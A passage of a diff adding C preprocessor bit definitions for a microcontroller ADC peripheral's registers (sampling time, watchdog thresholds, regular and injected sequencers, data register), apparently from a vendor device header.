ADC_SMPR1_SMP6_Msk (0x7UL << ADC_SMPR1_SMP6_Pos) /*!< 0x001C0000 */ +#define ADC_SMPR1_SMP6 ADC_SMPR1_SMP6_Msk /*!< ADC channel 6 sampling time selection */ +#define ADC_SMPR1_SMP6_0 (0x1UL << ADC_SMPR1_SMP6_Pos) /*!< 0x00040000 */ +#define ADC_SMPR1_SMP6_1 (0x2UL << ADC_SMPR1_SMP6_Pos) /*!< 0x00080000 */ +#define ADC_SMPR1_SMP6_2 (0x4UL << ADC_SMPR1_SMP6_Pos) /*!< 0x00100000 */ + +#define ADC_SMPR1_SMP7_Pos (21U) +#define ADC_SMPR1_SMP7_Msk (0x7UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00E00000 */ +#define ADC_SMPR1_SMP7 ADC_SMPR1_SMP7_Msk /*!< ADC channel 7 sampling time selection */ +#define ADC_SMPR1_SMP7_0 (0x1UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00200000 */ +#define ADC_SMPR1_SMP7_1 (0x2UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00400000 */ +#define ADC_SMPR1_SMP7_2 (0x4UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00800000 */ + +#define ADC_SMPR1_SMP8_Pos (24U) +#define ADC_SMPR1_SMP8_Msk (0x7UL << ADC_SMPR1_SMP8_Pos) /*!< 0x07000000 */ +#define ADC_SMPR1_SMP8 ADC_SMPR1_SMP8_Msk /*!< ADC channel 8 sampling time selection */ +#define ADC_SMPR1_SMP8_0 (0x1UL << ADC_SMPR1_SMP8_Pos) /*!< 0x01000000 */ +#define ADC_SMPR1_SMP8_1 (0x2UL << ADC_SMPR1_SMP8_Pos) /*!< 0x02000000 */ +#define ADC_SMPR1_SMP8_2 (0x4UL << ADC_SMPR1_SMP8_Pos) /*!< 0x04000000 */ + +#define ADC_SMPR1_SMP9_Pos (27U) +#define ADC_SMPR1_SMP9_Msk (0x7UL << ADC_SMPR1_SMP9_Pos) /*!< 0x38000000 */ +#define ADC_SMPR1_SMP9 ADC_SMPR1_SMP9_Msk /*!< ADC channel 9 sampling time selection */ +#define ADC_SMPR1_SMP9_0 (0x1UL << ADC_SMPR1_SMP9_Pos) /*!< 0x08000000 */ +#define ADC_SMPR1_SMP9_1 (0x2UL << ADC_SMPR1_SMP9_Pos) /*!< 0x10000000 */ +#define ADC_SMPR1_SMP9_2 (0x4UL << ADC_SMPR1_SMP9_Pos) /*!< 0x20000000 */ + +#define ADC_SMPR1_SMPPLUS_Pos (31U) +#define ADC_SMPR1_SMPPLUS_Msk (0x1UL << ADC_SMPR1_SMPPLUS_Pos) /*!< 0x80000000 */ +#define ADC_SMPR1_SMPPLUS ADC_SMPR1_SMPPLUS_Msk /*!< ADC channels sampling time additional setting */ + +/******************** Bit definition for ADC_SMPR2 register *****************/ +#define ADC_SMPR2_SMP10_Pos (0U) +#define ADC_SMPR2_SMP10_Msk (0x7UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000007 */ +#define ADC_SMPR2_SMP10 ADC_SMPR2_SMP10_Msk /*!< ADC channel 10 sampling time selection */ +#define ADC_SMPR2_SMP10_0 (0x1UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000001 */ +#define ADC_SMPR2_SMP10_1 (0x2UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000002 */ +#define ADC_SMPR2_SMP10_2 (0x4UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000004 */ + +#define ADC_SMPR2_SMP11_Pos (3U) +#define ADC_SMPR2_SMP11_Msk (0x7UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000038 */ +#define ADC_SMPR2_SMP11 ADC_SMPR2_SMP11_Msk /*!< ADC channel 11 sampling time selection */ +#define ADC_SMPR2_SMP11_0 (0x1UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000008 */ +#define ADC_SMPR2_SMP11_1 (0x2UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000010 */ +#define ADC_SMPR2_SMP11_2 (0x4UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000020 */ + +#define ADC_SMPR2_SMP12_Pos (6U) +#define ADC_SMPR2_SMP12_Msk (0x7UL << ADC_SMPR2_SMP12_Pos) /*!< 0x000001C0 */ +#define ADC_SMPR2_SMP12 ADC_SMPR2_SMP12_Msk /*!< ADC channel 12 sampling time selection */ +#define ADC_SMPR2_SMP12_0 (0x1UL << ADC_SMPR2_SMP12_Pos) /*!< 0x00000040 */ +#define ADC_SMPR2_SMP12_1 (0x2UL << ADC_SMPR2_SMP12_Pos) /*!< 0x00000080 */ +#define ADC_SMPR2_SMP12_2 (0x4UL << ADC_SMPR2_SMP12_Pos) /*!< 0x00000100 */ + +#define ADC_SMPR2_SMP13_Pos (9U) +#define ADC_SMPR2_SMP13_Msk (0x7UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000E00 */ +#define ADC_SMPR2_SMP13 ADC_SMPR2_SMP13_Msk /*!< ADC channel 13 sampling time selection */ +#define ADC_SMPR2_SMP13_0 (0x1UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000200 */ +#define ADC_SMPR2_SMP13_1 (0x2UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000400 */ +#define ADC_SMPR2_SMP13_2 (0x4UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000800 */ + +#define ADC_SMPR2_SMP14_Pos (12U) +#define ADC_SMPR2_SMP14_Msk (0x7UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00007000 */ +#define ADC_SMPR2_SMP14 ADC_SMPR2_SMP14_Msk /*!< ADC channel 14 sampling time selection */ +#define ADC_SMPR2_SMP14_0 (0x1UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00001000 */ +#define ADC_SMPR2_SMP14_1 (0x2UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00002000 */ +#define ADC_SMPR2_SMP14_2 (0x4UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00004000 */ + +#define ADC_SMPR2_SMP15_Pos (15U) +#define ADC_SMPR2_SMP15_Msk (0x7UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00038000 */ +#define ADC_SMPR2_SMP15 ADC_SMPR2_SMP15_Msk /*!< ADC channel 15 sampling time selection */ +#define ADC_SMPR2_SMP15_0 (0x1UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00008000 */ +#define ADC_SMPR2_SMP15_1 (0x2UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00010000 */ +#define ADC_SMPR2_SMP15_2 (0x4UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00020000 */ + +#define ADC_SMPR2_SMP16_Pos (18U) +#define ADC_SMPR2_SMP16_Msk (0x7UL << ADC_SMPR2_SMP16_Pos) /*!< 0x001C0000 */ +#define ADC_SMPR2_SMP16 ADC_SMPR2_SMP16_Msk /*!< ADC channel 16 sampling time selection */ +#define ADC_SMPR2_SMP16_0 (0x1UL << ADC_SMPR2_SMP16_Pos) /*!< 0x00040000 */ +#define ADC_SMPR2_SMP16_1 (0x2UL << ADC_SMPR2_SMP16_Pos) /*!< 0x00080000 */ +#define ADC_SMPR2_SMP16_2 (0x4UL << ADC_SMPR2_SMP16_Pos) /*!< 0x00100000 */ + +#define ADC_SMPR2_SMP17_Pos (21U) +#define ADC_SMPR2_SMP17_Msk (0x7UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00E00000 */ +#define ADC_SMPR2_SMP17 ADC_SMPR2_SMP17_Msk /*!< ADC channel 17 sampling time selection */ +#define ADC_SMPR2_SMP17_0 (0x1UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00200000 */ +#define ADC_SMPR2_SMP17_1 (0x2UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00400000 */ +#define ADC_SMPR2_SMP17_2 (0x4UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00800000 */ + +#define ADC_SMPR2_SMP18_Pos (24U) +#define ADC_SMPR2_SMP18_Msk (0x7UL << ADC_SMPR2_SMP18_Pos) /*!< 0x07000000 */ +#define ADC_SMPR2_SMP18 ADC_SMPR2_SMP18_Msk /*!< ADC channel 18 sampling time selection */ +#define ADC_SMPR2_SMP18_0 (0x1UL << ADC_SMPR2_SMP18_Pos) /*!< 0x01000000 */ +#define ADC_SMPR2_SMP18_1 (0x2UL << ADC_SMPR2_SMP18_Pos) /*!< 0x02000000 */ +#define ADC_SMPR2_SMP18_2 (0x4UL << ADC_SMPR2_SMP18_Pos) /*!< 0x04000000 */ + +/******************** Bit definition for ADC_TR1 register *******************/ +#define ADC_TR1_LT1_Pos (0U) +#define ADC_TR1_LT1_Msk (0xFFFUL << ADC_TR1_LT1_Pos) /*!< 0x00000FFF */ +#define ADC_TR1_LT1 ADC_TR1_LT1_Msk /*!< ADC analog watchdog 1 threshold low */ + +#define ADC_TR1_AWDFILT_Pos (12U) +#define ADC_TR1_AWDFILT_Msk (0x7UL << ADC_TR1_AWDFILT_Pos) /*!< 0x00007000 */ +#define ADC_TR1_AWDFILT ADC_TR1_AWDFILT_Msk /*!< ADC analog watchdog filtering parameter */ +#define ADC_TR1_AWDFILT_0 (0x1UL << ADC_TR1_AWDFILT_Pos) /*!< 0x00001000 */ +#define ADC_TR1_AWDFILT_1 (0x2UL << ADC_TR1_AWDFILT_Pos) /*!< 0x00002000 */ +#define ADC_TR1_AWDFILT_2 (0x4UL << ADC_TR1_AWDFILT_Pos) /*!< 0x00004000 */ + +#define ADC_TR1_HT1_Pos (16U) +#define ADC_TR1_HT1_Msk (0xFFFUL << ADC_TR1_HT1_Pos) /*!< 0x0FFF0000 */ +#define ADC_TR1_HT1 ADC_TR1_HT1_Msk /*!< ADC analog watchdog 1 threshold high */ + +/******************** Bit definition for ADC_TR2 register *******************/ +#define ADC_TR2_LT2_Pos (0U) +#define ADC_TR2_LT2_Msk (0xFFUL << ADC_TR2_LT2_Pos) /*!< 0x000000FF */ +#define ADC_TR2_LT2 ADC_TR2_LT2_Msk /*!< ADC analog watchdog 2 threshold low */ + +#define ADC_TR2_HT2_Pos (16U) +#define ADC_TR2_HT2_Msk (0xFFUL << ADC_TR2_HT2_Pos) /*!< 0x00FF0000 */ +#define ADC_TR2_HT2 ADC_TR2_HT2_Msk /*!< ADC analog watchdog 2 threshold high */ + +/******************** Bit definition for ADC_TR3 register *******************/ +#define ADC_TR3_LT3_Pos (0U) +#define ADC_TR3_LT3_Msk (0xFFUL << ADC_TR3_LT3_Pos) /*!< 0x000000FF */ +#define ADC_TR3_LT3 ADC_TR3_LT3_Msk /*!< ADC analog watchdog 3 threshold low */ + +#define ADC_TR3_HT3_Pos (16U) +#define ADC_TR3_HT3_Msk (0xFFUL << ADC_TR3_HT3_Pos) /*!< 0x00FF0000 */ +#define ADC_TR3_HT3 ADC_TR3_HT3_Msk /*!< ADC analog watchdog 3 threshold high */ + +/******************** Bit definition for ADC_SQR1 register ******************/ +#define ADC_SQR1_L_Pos (0U) +#define ADC_SQR1_L_Msk (0xFUL << ADC_SQR1_L_Pos) /*!< 0x0000000F */ +#define ADC_SQR1_L ADC_SQR1_L_Msk /*!< ADC group regular sequencer scan length */ +#define ADC_SQR1_L_0 (0x1UL << ADC_SQR1_L_Pos) /*!< 0x00000001 */ +#define ADC_SQR1_L_1 (0x2UL << ADC_SQR1_L_Pos) /*!< 0x00000002 */ +#define ADC_SQR1_L_2 (0x4UL << ADC_SQR1_L_Pos) /*!< 0x00000004 */ +#define ADC_SQR1_L_3 (0x8UL << ADC_SQR1_L_Pos) /*!< 0x00000008 */ + +#define ADC_SQR1_SQ1_Pos (6U) +#define ADC_SQR1_SQ1_Msk (0x1FUL << ADC_SQR1_SQ1_Pos) /*!< 0x000007C0 */ +#define ADC_SQR1_SQ1 ADC_SQR1_SQ1_Msk /*!< ADC group regular sequencer rank 1 */ +#define ADC_SQR1_SQ1_0 (0x01UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000040 */ +#define ADC_SQR1_SQ1_1 (0x02UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000080 */ +#define ADC_SQR1_SQ1_2 (0x04UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000100 */ +#define ADC_SQR1_SQ1_3 (0x08UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000200 */ +#define ADC_SQR1_SQ1_4 (0x10UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000400 */ + +#define ADC_SQR1_SQ2_Pos (12U) +#define ADC_SQR1_SQ2_Msk (0x1FUL << ADC_SQR1_SQ2_Pos) /*!< 0x0001F000 */ +#define ADC_SQR1_SQ2 ADC_SQR1_SQ2_Msk /*!< ADC group regular sequencer rank 2 */ +#define ADC_SQR1_SQ2_0 (0x01UL << ADC_SQR1_SQ2_Pos) /*!< 0x00001000 */ +#define ADC_SQR1_SQ2_1 (0x02UL << ADC_SQR1_SQ2_Pos) /*!< 0x00002000 */ +#define ADC_SQR1_SQ2_2 (0x04UL << ADC_SQR1_SQ2_Pos) /*!< 0x00004000 */ +#define ADC_SQR1_SQ2_3 (0x08UL << ADC_SQR1_SQ2_Pos) /*!< 0x00008000 */ +#define ADC_SQR1_SQ2_4 (0x10UL << ADC_SQR1_SQ2_Pos) /*!< 0x00010000 */ + +#define ADC_SQR1_SQ3_Pos (18U) +#define ADC_SQR1_SQ3_Msk (0x1FUL << ADC_SQR1_SQ3_Pos) /*!< 0x007C0000 */ +#define ADC_SQR1_SQ3 ADC_SQR1_SQ3_Msk /*!< ADC group regular sequencer rank 3 */ +#define ADC_SQR1_SQ3_0 (0x01UL << ADC_SQR1_SQ3_Pos) /*!< 0x00040000 */ +#define ADC_SQR1_SQ3_1 (0x02UL << ADC_SQR1_SQ3_Pos) /*!< 0x00080000 */ +#define ADC_SQR1_SQ3_2 (0x04UL << ADC_SQR1_SQ3_Pos) /*!< 0x00100000 */ +#define ADC_SQR1_SQ3_3 (0x08UL << ADC_SQR1_SQ3_Pos) /*!< 0x00200000 */ +#define ADC_SQR1_SQ3_4 (0x10UL<< ADC_SQR1_SQ3_Pos) /*!< 0x00400000 */ + +#define ADC_SQR1_SQ4_Pos (24U) +#define ADC_SQR1_SQ4_Msk (0x1FUL << ADC_SQR1_SQ4_Pos) /*!< 0x1F000000 */ +#define ADC_SQR1_SQ4 ADC_SQR1_SQ4_Msk /*!< ADC group regular sequencer rank 4 */ +#define ADC_SQR1_SQ4_0 (0x01UL << ADC_SQR1_SQ4_Pos) /*!< 0x01000000 */ +#define ADC_SQR1_SQ4_1 (0x02UL << ADC_SQR1_SQ4_Pos) /*!< 0x02000000 */ +#define ADC_SQR1_SQ4_2 (0x04UL << ADC_SQR1_SQ4_Pos) /*!< 0x04000000 */ +#define ADC_SQR1_SQ4_3 (0x08UL << ADC_SQR1_SQ4_Pos) /*!< 0x08000000 */ +#define ADC_SQR1_SQ4_4 (0x10UL << ADC_SQR1_SQ4_Pos) /*!< 0x10000000 */ + +/******************** Bit definition for ADC_SQR2 register ******************/ +#define ADC_SQR2_SQ5_Pos (0U) +#define ADC_SQR2_SQ5_Msk (0x1FUL << ADC_SQR2_SQ5_Pos) /*!< 0x0000001F */ +#define ADC_SQR2_SQ5 ADC_SQR2_SQ5_Msk /*!< ADC group regular sequencer rank 5 */ +#define ADC_SQR2_SQ5_0 (0x01UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000001 */ +#define ADC_SQR2_SQ5_1 (0x02UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000002 */ +#define ADC_SQR2_SQ5_2 (0x04UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000004 */ +#define ADC_SQR2_SQ5_3 (0x08UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000008 */ +#define ADC_SQR2_SQ5_4 (0x10UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000010 */ + +#define ADC_SQR2_SQ6_Pos (6U) +#define ADC_SQR2_SQ6_Msk (0x1FUL << ADC_SQR2_SQ6_Pos) /*!< 0x000007C0 */ +#define ADC_SQR2_SQ6 ADC_SQR2_SQ6_Msk /*!< ADC group regular sequencer rank 6 */ +#define ADC_SQR2_SQ6_0 (0x01UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000040 */ +#define ADC_SQR2_SQ6_1 (0x02UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000080 */ +#define ADC_SQR2_SQ6_2 (0x04UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000100 */ +#define ADC_SQR2_SQ6_3 (0x08UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000200 */ +#define ADC_SQR2_SQ6_4 (0x10UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000400 */ + +#define ADC_SQR2_SQ7_Pos (12U) +#define ADC_SQR2_SQ7_Msk (0x1FUL << ADC_SQR2_SQ7_Pos) /*!< 0x0001F000 */ +#define ADC_SQR2_SQ7 ADC_SQR2_SQ7_Msk /*!< ADC group regular sequencer rank 7 */ +#define ADC_SQR2_SQ7_0 (0x01UL << ADC_SQR2_SQ7_Pos) /*!< 0x00001000 */ +#define ADC_SQR2_SQ7_1 (0x02UL << ADC_SQR2_SQ7_Pos) /*!< 0x00002000 */ +#define ADC_SQR2_SQ7_2 (0x04UL << ADC_SQR2_SQ7_Pos) /*!< 0x00004000 */ +#define ADC_SQR2_SQ7_3 (0x08UL << ADC_SQR2_SQ7_Pos) /*!< 0x00008000 */ +#define ADC_SQR2_SQ7_4 (0x10UL << ADC_SQR2_SQ7_Pos) /*!< 0x00010000 */ + +#define ADC_SQR2_SQ8_Pos (18U) +#define ADC_SQR2_SQ8_Msk (0x1FUL << ADC_SQR2_SQ8_Pos) /*!< 0x007C0000 */ +#define ADC_SQR2_SQ8 ADC_SQR2_SQ8_Msk /*!< ADC group regular sequencer rank 8 */ +#define ADC_SQR2_SQ8_0 (0x01UL << ADC_SQR2_SQ8_Pos) /*!< 0x00040000 */ +#define ADC_SQR2_SQ8_1 (0x02UL << ADC_SQR2_SQ8_Pos) /*!< 0x00080000 */ +#define ADC_SQR2_SQ8_2 (0x04UL << ADC_SQR2_SQ8_Pos) /*!< 0x00100000 */ +#define ADC_SQR2_SQ8_3 (0x08UL << ADC_SQR2_SQ8_Pos) /*!< 0x00200000 */ +#define ADC_SQR2_SQ8_4 (0x10UL << ADC_SQR2_SQ8_Pos) /*!< 0x00400000 */ + +#define ADC_SQR2_SQ9_Pos (24U) +#define ADC_SQR2_SQ9_Msk (0x1FUL << ADC_SQR2_SQ9_Pos) /*!< 0x1F000000 */ +#define ADC_SQR2_SQ9 ADC_SQR2_SQ9_Msk /*!< ADC group regular sequencer rank 9 */ +#define ADC_SQR2_SQ9_0 (0x01UL << ADC_SQR2_SQ9_Pos) /*!< 0x01000000 */ +#define ADC_SQR2_SQ9_1 (0x02UL << ADC_SQR2_SQ9_Pos) /*!< 0x02000000 */ +#define ADC_SQR2_SQ9_2 (0x04UL << ADC_SQR2_SQ9_Pos) /*!< 0x04000000 */ +#define ADC_SQR2_SQ9_3 (0x08UL << ADC_SQR2_SQ9_Pos) /*!< 0x08000000 */ +#define ADC_SQR2_SQ9_4 (0x10UL << ADC_SQR2_SQ9_Pos) /*!< 0x10000000 */ + +/******************** Bit definition for ADC_SQR3 register ******************/ +#define ADC_SQR3_SQ10_Pos (0U) +#define ADC_SQR3_SQ10_Msk (0x1FUL << ADC_SQR3_SQ10_Pos) /*!< 0x0000001F */ +#define ADC_SQR3_SQ10 ADC_SQR3_SQ10_Msk /*!< ADC group regular sequencer rank 10 */ +#define ADC_SQR3_SQ10_0 (0x01UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000001 */ +#define ADC_SQR3_SQ10_1 (0x02UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000002 */ +#define ADC_SQR3_SQ10_2 (0x04UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000004 */ +#define ADC_SQR3_SQ10_3 (0x08UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000008 */ +#define ADC_SQR3_SQ10_4 (0x10UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000010 */ + +#define ADC_SQR3_SQ11_Pos (6U) +#define ADC_SQR3_SQ11_Msk (0x1FUL << ADC_SQR3_SQ11_Pos) /*!< 0x000007C0 */ +#define ADC_SQR3_SQ11 ADC_SQR3_SQ11_Msk /*!< ADC group regular sequencer rank 11 */ +#define ADC_SQR3_SQ11_0 (0x01UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000040 */ +#define ADC_SQR3_SQ11_1 (0x02UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000080 */ +#define ADC_SQR3_SQ11_2 (0x04UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000100 */ +#define ADC_SQR3_SQ11_3 (0x08UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000200 */ +#define ADC_SQR3_SQ11_4 (0x10UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000400 */ + +#define ADC_SQR3_SQ12_Pos (12U) +#define ADC_SQR3_SQ12_Msk (0x1FUL << ADC_SQR3_SQ12_Pos) /*!< 0x0001F000 */ +#define ADC_SQR3_SQ12 ADC_SQR3_SQ12_Msk /*!< ADC group regular sequencer rank 12 */ +#define ADC_SQR3_SQ12_0 (0x01UL << ADC_SQR3_SQ12_Pos) /*!< 0x00001000 */ +#define ADC_SQR3_SQ12_1 (0x02UL << ADC_SQR3_SQ12_Pos) /*!< 0x00002000 */ +#define ADC_SQR3_SQ12_2 (0x04UL << ADC_SQR3_SQ12_Pos) /*!< 0x00004000 */ +#define ADC_SQR3_SQ12_3 (0x08UL << ADC_SQR3_SQ12_Pos) /*!< 0x00008000 */ +#define ADC_SQR3_SQ12_4 (0x10UL << ADC_SQR3_SQ12_Pos) /*!< 0x00010000 */ + +#define ADC_SQR3_SQ13_Pos (18U) +#define ADC_SQR3_SQ13_Msk (0x1FUL << ADC_SQR3_SQ13_Pos) /*!< 0x007C0000 */ +#define ADC_SQR3_SQ13 ADC_SQR3_SQ13_Msk /*!< ADC group regular sequencer rank 13 */ +#define ADC_SQR3_SQ13_0 (0x01UL << ADC_SQR3_SQ13_Pos) /*!< 0x00040000 */ +#define ADC_SQR3_SQ13_1 (0x02UL << ADC_SQR3_SQ13_Pos) /*!< 0x00080000 */ +#define ADC_SQR3_SQ13_2 (0x04UL << ADC_SQR3_SQ13_Pos) /*!< 0x00100000 */ +#define ADC_SQR3_SQ13_3 (0x08UL << ADC_SQR3_SQ13_Pos) /*!< 0x00200000 */ +#define ADC_SQR3_SQ13_4 (0x10UL << ADC_SQR3_SQ13_Pos) /*!< 0x00400000 */ + +#define ADC_SQR3_SQ14_Pos (24U) +#define ADC_SQR3_SQ14_Msk (0x1FUL << ADC_SQR3_SQ14_Pos) /*!< 0x1F000000 */ +#define ADC_SQR3_SQ14 ADC_SQR3_SQ14_Msk /*!< ADC group regular sequencer rank 14 */ +#define ADC_SQR3_SQ14_0 (0x01UL << ADC_SQR3_SQ14_Pos) /*!< 0x01000000 */ +#define ADC_SQR3_SQ14_1 (0x02UL << ADC_SQR3_SQ14_Pos) /*!< 0x02000000 */ +#define ADC_SQR3_SQ14_2 (0x04UL << ADC_SQR3_SQ14_Pos) /*!< 0x04000000 */ +#define ADC_SQR3_SQ14_3 (0x08UL << ADC_SQR3_SQ14_Pos) /*!< 0x08000000 */ +#define ADC_SQR3_SQ14_4 (0x10UL << ADC_SQR3_SQ14_Pos) /*!< 0x10000000 */ + +/******************** Bit definition for ADC_SQR4 register ******************/ +#define ADC_SQR4_SQ15_Pos (0U) +#define ADC_SQR4_SQ15_Msk (0x1FUL << ADC_SQR4_SQ15_Pos) /*!< 0x0000001F */ +#define ADC_SQR4_SQ15 ADC_SQR4_SQ15_Msk /*!< ADC group regular sequencer rank 15 */ +#define ADC_SQR4_SQ15_0 (0x01UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000001 */ +#define ADC_SQR4_SQ15_1 (0x02UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000002 */ +#define ADC_SQR4_SQ15_2 (0x04UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000004 */ +#define ADC_SQR4_SQ15_3 (0x08UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000008 */ +#define ADC_SQR4_SQ15_4 (0x10UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000010 */ + +#define ADC_SQR4_SQ16_Pos (6U) +#define ADC_SQR4_SQ16_Msk (0x1FUL << ADC_SQR4_SQ16_Pos) /*!< 0x000007C0 */ +#define ADC_SQR4_SQ16 ADC_SQR4_SQ16_Msk /*!< ADC group regular sequencer rank 16 */ +#define ADC_SQR4_SQ16_0 (0x01UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000040 */ +#define ADC_SQR4_SQ16_1 (0x02UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000080 */ +#define ADC_SQR4_SQ16_2 (0x04UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000100 */ +#define ADC_SQR4_SQ16_3 (0x08UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000200 */ +#define ADC_SQR4_SQ16_4 (0x10UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000400 */ + +/******************** Bit definition for ADC_DR register ********************/ +#define ADC_DR_RDATA_Pos (0U) +#define ADC_DR_RDATA_Msk (0xFFFFUL << ADC_DR_RDATA_Pos) /*!< 0x0000FFFF */ +#define ADC_DR_RDATA ADC_DR_RDATA_Msk /*!< ADC group regular conversion data */ + +/******************** Bit definition for ADC_JSQR register ******************/ +#define ADC_JSQR_JL_Pos (0U) +#define ADC_JSQR_JL_Msk (0x3UL << ADC_JSQR_JL_Pos) /*!< 0x00000003 */ +#define ADC_JSQR_JL ADC_JSQR_JL_Msk /*!< ADC group injected sequencer scan length */ +#define ADC_JSQR_JL_0 (0x1UL << ADC_JSQR_JL_Pos) /*!< 0x00000001 */ +#define ADC_JSQR_JL_1 (0x2UL << ADC_JSQR_JL_Pos) /*!< 0x00000002 */ + +#define ADC_JSQR_JEXTSEL_Pos (2U) +#define ADC_JSQR_JEXTSEL_Msk (0x1FUL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x0000007C */ +#define ADC_JSQR_JEXTSEL ADC_JSQR_JEXTSEL_Msk /*!< ADC group injected external trigger source */ +#define ADC_JSQR_JEXTSEL_0 (0x1UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000004 */ +#define ADC_JSQR_JEXTSEL_1 (0x2UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000008 */ +#define ADC_JSQR_JEXTSEL_2 (0x4UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000010 */ +#define ADC_JSQR_JEXTSEL_3 (0x8UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000020 */ +#define ADC_JSQR_JEXTSEL_4 (0x10UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000040 */ + +#define ADC_JSQR_JEXTEN_Pos (7U) +#define ADC_JSQR_JEXTEN_Msk (0x3UL << ADC_JSQR_JEXTEN_Pos) /*!< 0x00000180 */ +#define ADC_JSQR_JEXTEN ADC_JSQR_JEXTEN_Msk /*!< ADC group injected external trigger polarity */ +#define ADC_JSQR_JEXTEN_0 (0x1UL << ADC_JSQR_JEXTEN_Pos) /*!< 0x00000080 */ +#define ADC_JSQR_JEXTEN_1 (0x2UL << ADC_JSQR_JEXTEN_Pos) /*!< 0x00000100 */ + +#define ADC_JSQR_JSQ1_Pos (9U) +#define ADC_JSQR_JSQ1_Msk (0x1FUL << ADC_JSQR_JSQ1_Pos) /*!< 0x00003E00 */ +#define ADC_JSQR_JSQ1 ADC_JSQR_JSQ1_Msk /*!< ADC group injected sequencer rank 1 */ +#define ADC_JSQR_JSQ1_0 (0x01UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00000200 */ +#define ADC_JSQR_JSQ1_1 (0x02UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00000400 */ +#define ADC_JSQR_JSQ1_2 (0x04UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00000800 */ +#define ADC_JSQR_JSQ1_3 (0x08UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00001000 */ +#define ADC_JSQR_JSQ1_4 (0x10UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00002000 */ + +#define ADC_JSQR_JSQ2_Pos (15U) +#define ADC_JSQR_JSQ2_Msk (0x1FUL << ADC_JSQR_JSQ2_Pos) /*!< 0x0007C000 */ +#define ADC_JSQR_JSQ2 ADC_JSQR_JSQ2_Msk /*!< ADC group injected sequencer rank 2 */ +#define ADC_JSQR_JSQ2_0 (0x01UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00004000 */ +#define ADC_JSQR_JSQ2_1 (0x02UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00008000 */ +#define ADC_JSQR_JSQ2_2 (0x04UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00010000 */ +#define ADC_JSQR_JSQ2_3 (0x08UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00020000 */ +#define ADC_JSQR_JSQ2_4 (0x10UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00040000 */ + +#define ADC_JSQR_JSQ3_Pos (21U) +#define ADC_JSQR_JSQ3_Msk (0x1FUL << ADC_JSQR_JSQ3_Pos) /*!< 0x03E00000 */ +#define ADC_JSQR_JSQ3 ADC_JSQR_JSQ3_Msk /*!< ADC group injected sequencer rank 3 */ +#define ADC_JSQR_JSQ3_0 (0x01UL << ADC_JSQR_JSQ3_Pos) /*!< 0x00200000 */ +#define ADC_JSQR_JSQ3_1 (0x02UL << ADC_JSQR_JSQ3_Pos) /*!< 0x00400000 */ 